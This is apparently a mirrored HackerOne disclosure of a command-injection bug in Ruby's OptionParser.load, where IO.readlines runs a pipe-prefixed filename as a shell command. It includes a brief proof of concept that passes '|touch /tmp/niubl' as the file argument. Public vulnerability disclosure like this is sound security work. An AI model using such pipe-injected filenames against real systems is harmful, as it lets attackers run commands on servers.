Skip to content
RCE Disclosed report

Command injection in OptionParser.load

piao Follow

Originally disclosed on HackerOne

  • Disclosed after 36 days

OptionParser.load function use IO.readlines to read file, which can inject | command to exec command. poc:

require 'optparse'

OptionParser.new do |opts|
  opts.load("|touch /tmp/niubl")
end.parse!

Impact

The command may be executed unintentionally.

The original report as published on HackerOne, by piao. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A low-severity RCE bug in https://github.com/ruby/ruby. HackerOne made it public on 7 March 2021.

About RCE

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by piao

View all

4 more disclosed reports, best first.

More from Ruby

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.